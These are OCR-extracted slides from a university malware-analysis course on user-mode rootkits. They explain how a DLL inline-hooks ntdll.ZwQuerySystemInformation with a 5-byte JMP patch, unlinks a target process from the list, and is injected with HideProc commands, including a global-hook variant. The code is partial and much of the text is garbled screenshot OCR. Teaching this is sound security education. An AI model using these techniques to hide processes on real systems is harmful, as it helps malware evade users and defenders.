CSC 471 Modern Malware Analysis

Stealth process (Rootkit)
Si Chen (schen@wcupa.edu)
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Processes in Windows

i ™\
"% Windows Task Manager l — ‘—87!]
File Options View Help
Applications | Processes | Services Performance Networking | Users

Image Name User Name CPU Memory (Priv... Description -
avagnt.exe *32  Lincoln 00 2,108 K Avira system trz
chrome.exe *32 Lincoln 00 51,504K Google Chrome |~
chrome.exe *32 Lincoln 00 66,136 K Google Chrome
chrome.exe *32 Lincoln 00 11,192K Google Chrome
chrome.exe *32 Lincoln 00 129,420 K Google Chrome
chrome.exe *32 Lincoln 00 90,780 K Google Chrome
chrome.exe *32 Lincoln 00 5,860 K Google Chrome
chrome.exe *32 Lincoln 00 90,708 K Google Chrome
chrome.exe *32 Lincoln 00 31,696 K Google Chrome
chrome.exe *32 Lincoln 00 68,612K Google Chrome
chrome.exe *32 Lincoln 00 129,768 K Google Chrome
chrome.exe *32 Lincoln 00 9,100K Google Chrome
chrome.exe *32 Lincoln 00 27,316 K Google Chrome
chrome.exe *32 Lincoln 00 10,160 K Google Chrome «

< 1] 3

4y Show processes from all users End Process
Processes: 135 CPU Usage: 0% Physical Memory: 71%
“ 7
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Stealth Process

Northrop Grumman B-2 Spirit




Stealth Process

Stealth Process
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APl Hook Tech Map

Process/Memory 1) 1AT
Dynamic 00000000 23)) %TT‘*
- TFFFFFFF
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DebugActiveProcess
Interactive Debug GetThreadContext
SetThreadContext

'"d?(f::' ent CreateRemoteThread

Standalone Resistry (Applnit_DLLs)
: - BHO (IE onl
Injection — ( y)
SetWindowsHookEx
CreateRemoteThread




Processes in Windows

% Windows Task Manager oo |

» Detect Processes in User Mode (WinAPI):
— CreateToolhelp32Snapshot()

File Options View Help

Applications | Processes | Services | Performance | Networking | Users

Image Name User Name CPU Memory (Priv... Description

avant.exe *32  Lincoln 00 2,108K  Avira system trz| _ — E N u m P ro CeSS()

chrome.exe *32 Lincoln 00 51,504K Google Chrome |~

chrome.exe *32 Lincoln 00 66,136 K Google Chrome

chrome.exe *32 Lincoln 00 11,192K Google Chrome

chrome.exe *32 Lincoln 00 129,420K Google Chrome

chrome.exe *32 Lincoln 00 90,780 K Google Chrome HAN D L E C t T I h I 328 h t(
chrome.exe *32 Lincoln 00 5,860 K Google Chrome rea e OO e p n a pS O

chrome.exe *32 Lincoln 00 90,708 K Google Chrome DWO R D d F I

chrome.exe *32 Lincoln 00 31,696 K Google Chrome W a g S y

chrome.exe *32 Lincoln 00 68,612K Google Chrome

chrome.exe *32 Lincoln 00 129,768 K Google Chrome DWO R D th 32 P ro Ce SS I D

chrome.exe *32 Lincoln 00 9,100K Google Chrome

chrome.exe *32 Lincoln 00 27,316 K Google Chrome ) y
chrome.exe *32 Lincoln 00 10,160K Google Chrome «
) oo
= —_— Takes a snapshot of the specified
| ¥y Show processes from all users | End Process
processes, as well as the heaps,
Processes: 135 CPU Usage: 0% Physical Memory: 71%

modules, and threads used by these
processes.

BOOL EnumProcesses(
DWORD *IpidProcess,
DWORD cb,

LPDWORD IpcbNeeded

);

Page = 7

Retrieves the process identifier for
each process object in the system.




Processes API

CreateToolhelp32Snapshot()
EnumProcess()

= ntdII.ZwQuerySystemInformation()I

pe

1% Windows Task Manager

| ol ) |

File Options View Help

£

J Ay Show processes from all users

Processes: 135 CPU Usage: 0%

Applications | Processes | Services | Performance | Networking | Users

»

End Process

Physical Memory: 71%

-

Image hjame User Name CPU Memory (Priv... Description
avgnt.exe *32 Lincoln 00 2,108 K Avira system trz 3
chrome.exe *32 Lincoln 00 51,504K Google Chrome |~
chrome.exe *32 Lincoln 00 66,136 K Google Chrome
chrome.exe *32 Lincoln 00 11,192K Google Chrome
chrome.exe *32 Lincoln 00 129,420 K  Google Chrome
chrome.exe *32 Lincoln 00 90,780 K Google Chrome
chrome.exe *32 Lincoln 00 5,860K Google Chrome
chrome.exe *32 Lincoln 00 90,708 K Google Chrome
chrome.exe *32 Lincoln 00 31,696 K Google Chrome
chrome.exe *32 Lincoln 00 68,612K Google Chrome
chrome.exe *32 Lincoln 00 129,768 K  Google Chrome
chrome.exe *32 Lincoln 00 9,100K Google Chrome
chrome.exe *32 Lincoln 00 27,316 K Google Chrome
chrome.exe *32 Lincoln 00 10,160 K Google Chrome

ntdll.ZwQuerySystemInformation()

NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS
SystemInformationClass,

_Inout_ PVOID SystemInformation,
_In_ ULONG SystemlInformationLength,
_Out_opt_ PULONG ReturnLength

);

Page = 8

Retrieves the specified system
information.




“procexp.exe”

Code section for procexp.exe

00422CF7 CALL DWORD PTR DS:[48C69C]

IAT section for procexp.exe

0048C69C 2ED9937C

“ntdlIl.dIl”

;ntdil.ZwQuerySysteminformation()

7C93D92E MOV EAX, 0AD

7C93D93A RETN 10




“procexp.exe”

Code section for procexp.exe

IAT section for procexp.exe

0048C69C 2ED9937C

00422CF7 CALL DWORD PTR DS:[48C69C]

“stealth.dll”

10001120. SUB ESP, 10C
100116A Call unhook()
1001198. CALL EAX; EAX = 7C93D92E

CALL Hook()
RETN 10

“ntdll.dll”

;ntdll.ZwQuerySysteminformation()
7C93D92E JMP 10001120

7C93D93A RETN 10




Create Stealth Process

CreateToolhelp32Snapshot()
EnumProcess()

ntdll.ZwQuerySystemInformation()

\ 4

Process?2

Process1

A

Process1 ——| Process3
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= ntdII.ZwQuerySystemInformation()I
Process3 » Process4
» Process4




Processes in Windows

e

1% Windows Task Manager

File Options View Help

Applications | Processes | Services | Performance I Networking ‘ Users |

>
Image Name User Name CPU Memory (Priv... Description

avgnt.exe *32  Lincoln 00 2,108K Avira system tre|
chrome.exe *32 Lincoln 00 51,504K Google Chrome
chrome.exe *32 Lincoln 00 66,136 K Google Chrome
chrome.exe *32 Lincoln 00 11,192K Google Chrome
chrome.exe *32 Lincoln 00 129,420K Google Chrome
chrome.exe *32 Lincoln 00 90,780K Google Chrome
chrome.exe *32 Lincoln 00 5,860K Google Chrome
chrome.exe *32 Lincoln 00 90,708 K Google Chrome
chrome.exe *32 Lincoln 00 31,696 K Google Chrome
chrome.exe *32 Lincoln 00 68,612K Google Chrome
chrome.exe *32 Lincoln 00 129,768 K Google Chrome
chrome.exe *32 Lincoln 00 9,100K Google Chrome
chrome.exe *32 Lincoln 00 27,316 K Google Chrome
chrome.exe *32 Lincoln 00 10,160K Google Chrome «
4 I »

End Process ’

Physical Memory: 71%

#y/Show processes from all users }

Processes: 135 CPU Usage: 0%

_loix
File Options View Process Find Handle Users Help
OB [ % [a || I il I bt | L
CPU| Private Bytesl Working Set| PID | Description | Company Name ‘A
1) RAVBg64 exe 15,704 K 4728 K 4572 HD Audio Background Process Realtek Semiconductor
NvBackend exe <0.01 18,848 K 21592 K 4776 NVIDIA Backend NVIDIA Comoration
u | msseces.exe 5972K 6,752 K 4916 Microsoft Security Client User Interfface Microsoft Corporation
B & googledrivesync exe 1.820K 1256 K 4988 Google Drive Google
&, googledrivesync exe 0.35 86316 K 72,864 K 3268 Google Drive Google
B @ chrome.exe 0.25 609.944 K 612968 K 4596 Google Chrome Google Inc. F
¢ chrome exe 2352K 2932K 5072 Google Chrome Google Inc. .J
@ chrome exe 2188K 2020K 4256 Google Chrome Google Inc.
¢ chrome exe 173.040K 150.632K 404 Google Chrome Google Inc.
¢ chrome exe 52,044 K 35,816 K 5312 Google Chrome Google Inc.
G chrome exe 008 349 708 K 47 112K 5324 Gonale Chrome Gonale Inc: ‘ILI
£ chrome exe 4 | I »

Type =~ | Name I
File C:\Users\mvanhelder\AppData\Local\Google\Chrome\User Data'\Default\Extension State...
File sers‘\mvanhelder\AppData'\Local\Google\Chrome\User Data\Default\GP UCache"\index Lo
File Windows\Fonts\tahoma tf
File ‘\Users\mvanhelder\AppData‘\Local\Google\Chrome\User Data‘\Default\Network Action ...
File \Windows"\Fonts\StaticCache .dat
File indows\System32\en-US\user32.dll. mui
File \Device \QWAVEdrv
File \Device\Afd
File C:\Users\mvanhelder\AppData\Local\Google\Chrome\User Data'\Default'\Session Storage...
Fxle C \Users" mvanhelder \AppData'\Local\Google\Chrome'\User Data\Default\Session Storage... =
‘CPU Usage: 13.74% Commlt Charge 45.84% |Processes: 132 Physical Usage: 76.09% | 4

taskmgr.exe

ntdll.ZwQuerySystemInformation()
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ProcExp.exe

ntdll.ZwQuerySystemInformation()




Example 1: Stealth Process

» Download and try StealthProcess1.zip
& - [ [x
OBaCk i Y Search Folders E]v

fddress (I3 C:\Work A ﬂ 2

—r| o
File and Folder Tasks InjectDll "hv_ ' myhack.dll
g
_J Make a new Folder
'S
N ' myhack_hacked.d
g

'@ Publish this folder to the
—

b

Web
ted Share this Folder

HideProc

»

Other Places

2o Local Disk (C:) ;hf
= My Documents W | stealth.dll
[y My Documents ‘ .Mjl

) Shared Docun g
¢+ Command Prompt

o My Computer

W My Mebwork P e A ) : 51,288 HideProc.exe

= A3-85/2019 : 172.964 index.html
H1.-23/,2019 : 45,856 InjectDll.exe
H1.-23-2019 : 75,264 myhack.dll

Details A3.-685.-2819 = ?5.264 myhack_hacked.dll
409 /2019 : 43,528 stealth.dll

A1-23/,2819 5 149,152 strings.exe
612,428 hytes
Dirisd 8.011,.280,.384 bytes free
C:“lWork>*HideProc.exe —hide notepad.exe C:“Worksstealth.dll

C:“Work>*HideProc.exe —hide notepad.exe C:xWorksstealth.dll

C:“\Work>HideProc.exe —hide notepad.exe C:“Workistealth.dll
C:sWork>_

"l' sl‘an m annlicatinns | Processes
Page= 13 HideProc.exe —hide notepad.exe C:\Work\stealth.dll

=)




stealth.cpp = DIIMain()

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

char szCurProc[MAX_PATH] = {0,};

char *p = NULL;

// #1. Handle Exception
// 1f the current process is HideProc.exe then stop, DO not Hook itself
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, *\\'):
if( (p !'= NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;

switch( fdwReason )

{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code (DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewzZwQuerySystemInformation, g_pOrgBytes);
break;
// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}

return TRUE;
Page = 14 }




// del the the process node

if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;

else
pPrev->NextEntryOffset += pCur->NextEntryOffset;

}
else
pPrev = pCur;

if(pCur->NextEntryOffset == @)
break;
// move to the next node

pCur = (PSYSTEM_PROCESS_INFORMATION)
((ULONG)pCur + pCur—->NextEntryOffset);

__NTQUERYSYSTEMINFORMATION_END:
// restore API Hooking
hook_by_code (DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);

return status;

Page = 15




stealth.cpp = DIIMain()

BOOL hook_by_code(LPCSTR szDl1lName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{

FARPROC pfnOrg;

DWORD dwOldProtect, dwAddress;

BYTE pBuf[5] = {0xE9, 0, };

PBYTE pByte;

// Find the API that you want to hook
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szD11Name), szFuncName);
pByte = (PBYTE)pfnOrg;

// if hooked then return FALSE
if( pByte[@] == OxE9 )
return FALSE;

// Add "write" privilege to memory (tweak 5 bytes)
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Copy old code (5 bytes)
memcpy (pOrgBytes, pfnOrg, 5);

// JIMP Calculation(E9 XXXX)

// => XXXX = pfnNew - pfnOrg - 5

dwAddress = (DWORD)pfnNew — (DWORD)pfnOrg - 5;
memcpy (&pBuf[1], &dwAddress, 4);

// Hook — tweak 5 byte (JIMP XXXX)
memcpy (pfnOrg, pBuf, 5);

// recovery memory property
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);

Page = 16 return TRUE;




JMP instruction

JMP—Jump
Opcode Instruction Description
EBch JMP rel8 Jump short, relative, displacement relative to next instruction.
E9 cw JMP rel16 Jump near, relative, displacement relative to next instruction.
E9 cd JMP rel32 _Jump near, relative, displacement relative to next instruction.
FF /4 JMP /m16 Jump near, absolute indirect, address given in /m716.
FF /4 JMP r/m32 Jump near, absolute indirect, address given in /m32.
EA cd JMP ptr16:16 Jump far, absolute, address given in operand.
EAcp JMP ptr16:32 Jump far, absolute, address given in operand.
FF /5 JMP m16:16 Jump far, absolute indirect, address given in m16:16.
FF /5 JMP m16:32 Jump far, absolute indirect, address given in m76:32.

Page = 17




| Windows

Create Stealth Process

o —

© NoVirusThanks Uploader 24.1.0
Refresh List File Resources Help Check for Updates
Name Brief Info a Uploader \ Downloader | Registry Startups | Search Okd Fles | Drivers Ust | Loaded DLs Settngs
= ~hrome Pr s Priorit Vinls
[CJ=chrome 5roces> ;:)”Oflky frjorma: \yluw = Select local fle to scan (5 M8 size knit):
[CJ==chrome rocess Priority: Normal; Vir—' i
= wininit Process Priority: High; Viruta O WetreRebnolDesiiopVieadme txt Browse... | Upload
== nusb3mon Priority: Normal; Vin
DE D ; -
~ g = L g ¥V n
[J=SUPERAN Priority: Normal; Vir Running Processes:
[J=sychost Process Priority: Normal; Vi w ~
[J==Presentatio Process Priority: Normal; Vin . ‘
4_ m » |
‘ ows\system32\sm.exe Terminate Process
Progress: ‘ ws\system32\winiogen. exe Delete File
‘;- ows\system32\svchost.exe Refresh
Fix Selected Problems View Removed Files Update Threat Database |= tationFontCache, exe ows WMicrosoft. NetFramework v 3 ik
. [® 7 svchost.exe we\system32gvchost.exe Upload To Virus Scanner
] ‘ = IMsMpEng.exe am Fles'\Maosoft Security Chent\Ant Open Containing Folder
|
ntdll.ZwQuerySystemInformation() | |Fxe Show i Properies
. [ Tsvchost.exe — —
|® Jsvchost.exe
‘1' svchost.exe M
| © NoVirusThanks Company Sl Processes: 71 Files Uploaded: 3 Status: Idle...

ntdll.ZwQuerySystemInformation()

» [ssues: How many process(es) should we hook?

Page = 18




Create Stealth Process

File Options View Process Find Handle Users Help
dHEE0RE XA il | | it [l
| Process | CPU| Private B)'tesl Working Se!| PID | Description | Company Name ‘.
. . - > D . RSl T +oan e 2590 HD Audio Background Process Realtek Semiconductor
83 Process Explorer - Sysinternals: www.sysinternal : : =181 | nviDIA Backend NVIDIA Corporation
File Options View Process Find Handle Users Help Microsoft Security Client User Interface Microsoft Comporation
i Al mE e | e [ | Google Drive Google
d el | ! j =1 il @ = . - WW'M‘W = e Google Drive Google
Process CPU] Private Bytes| Working Set] PID | Description | Company Name | ' | Google Chrome Google Inc. F
(Jx) RAVBg64 exe 15,704 K 4728 K 4572 HD Audio Background Process Realtek Semiconductor Google Chrome Google Inc. _I
NvBackend exe <0.01 18.848 K 21592 K 4776 NVIDIA Backend NVIDIA Corporation Google Chrome Google Inc.
u | msseces.exe 5972 K 6,752 K 4916 Microsoft Security Client User Interface Microsoft Corporation Google Chrome Google Inc.
= & googledrivesync.exe 1.820K 1,256 K 4988 Google Drive Google Google Chrome Google Inc.
&, googledrivesync exe 0.35 86.316 K 72,864 K 3268 Google Drive Google e et (EaT A s 57
= @ chrome.exe 0.25 609,944 K 612968 K 4996 Google Chrome Google Inc. F ] ‘D_I_l
¢ chrome.exe 2352K 2932K 5072 Google Chrome Google Inc. _I I =
¢ chrome.exe 2188K 2020K 4256 Google Chrome Google Inc. i\ Extension State
¢ chrome.exe 173.040K 150,632K 404 Google Chrome Google Inc. aul ‘»..GPI ICache ‘umde;c —
¢ chrome.exe 52,044 K 35816 K 5312 Google Chrome Google Inc. ——
= 3 v
¢ chrome exe - |D N8 349 708 K 347112 K 5324 Gonale Chrome: I Gonale Inc: ‘yJ—I ault\Network Action .
L= chrome exe
Type ~ I Name l -
File C:\Users\mvanhelder\App Data‘\Local\Google \Chrome\User Data'\Default\Extension State...
File C:\Users\mvanhelder\App Data‘\Local\Google \Chrome\User Data'\Default\GPUCache\index —
ault\Session Storage...
File C:\Users\mvanhelder\AppData‘\Local\Google\Chrome\User Data‘\Default\Network Action . ault\Session Storage... =
File C:\Windows\Fonts\StaticCache .dat i
File C:\Windows\System32\en-US\user32 dll mui 2 Z
File \Device \QWAVEdrv
File \Device\Afd
File C:\Users\mvanhelder\App Data‘\Local\Google \Chrome\User Data'\Default\Session Storage...
File C:\Users\mvanhelder\App Data‘\Local\Google \Chrome"\User Data\Default\Session Storage... =
[cru Usage: 13.74% |Commit Charge: 45.84% |Processes: 132 |Physical Usage: 76.09% 4

ntdll.ZwQuerySystemInformation()

» [ssues: Newly created process(es)

Page = 19




Create Stealth Process

: ~1ol x|
File Options View Process Find Handle Users Help
IETENEIERw =R Y2 [l | il I
| Process | CPU| Private B)'tes] Working Set| PID | Description | Company Name ‘A
- r == . RSl T +oan e 2590 HD Audio Background Process Realtek Semiconductor
: : =181 | nviDIA Backend NVIDIA Corporation
Dptions Find Handle Users Help B - - R TP — Microsoft Security Client User Interface Microsoft Corporation
i o ' [ | 1] | [ 1 1 Google Drive Google
E d| 4 ST # & I 1= = =] ‘ W‘W E E O 2 Google Drive Google
Process CPU[ Private Bytes| Working Setl PID | Description | Company Name | ' | Google Chrome Google Inc. F
(Jx) RAVBg64 exe 15,704 K 4728 K 4572 HD Audio Background Process Realtek Semiconductor Google Chrome Google Inc. _|
NvBackend exe <0.01 18‘&38 K 21 .5_)92 K 4776 NYIDIA Backen.d : NYIDIA Corporaiio.n Google Chrome Google Inc.
(B msseces».exe 5972K 6,752 K 4916 Microsoft secum Client User Interface Microsoft Corporation Google Chrome Google Inc.
= & googledrivesync.exe 1.820K 1,256 K 4988 Google Drive Google Google Chrome Google Inc.
&, googledrivesync exe 0.35 86.316 K 72,864 K 3268 Google Drive Google e et (EaT A s 57
= @ chrome.exe 0.25 609,944 K 612968 K 4996 Google Chrome Google Inc. F i »
¢ chrome.exe 2352K 2932K 5072 Google Chrome Google Inc. _I I =
¢ chrome.exe 2188K 2020K 4256 Google Chrome Google Inc. = ot
@ chrome exe 173.040K  150.632K 404 Google Chrome Google Inc. i Al —
¢ chrome.exe 52,044 K 35816 K 5312 Google Chrome Google Inc. ——
v/ 7 Al
G‘ chrome exe . |D na 349 708 K 47112 K 5324 Goonale Chrome I Gonale Inc: A}_I—I ault\Network Action ...
L= chrome exe
Type ~ I Name | -
File C:\Users\mvanhelder\App Data‘\Local\Google \Chrome\User Data'\Default\Extension State...
File C:\Users\mvanhelder\App Data‘\Local\Google \Chrome\User Data'\Default\GPUCache\index —
File C:\Windows\Fonts\tahoma tif ault\Session Storage...
File C:\Users\mvanhelder\AppData‘\Local\Google\Chrome\User Data‘\Default\Network Action . ault\Session Storage... =
File C:\Windows\Fonts\StaticCache .dat i
File C:\Windows\System32\en-US\user32 dll mui 2 Z
File \Device \QWAVEdrv
File \Device\Afd
File C:\Users\mvanhelder\App Data‘\Local\Google \Chrome\User Data'\Default\Session Storage...
File C:\Users\mvanhelder\App Data‘\Local\Google \Chrome"\User Data\Default\Session Storage... =
[cru Usage: 13.74% |Commit Charge: 45.84% |Processes: 132 [Physical Usage: 76.09% | 4

= Solution: Hook all of them! = Global Hook
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Example 2: Global Hook

» Download and try StealthProcess2.zip

copy stealth2.dll to %SystemRoot%\system32 folder

HideProc2.exe —hide stealth2.dll

Page = 21
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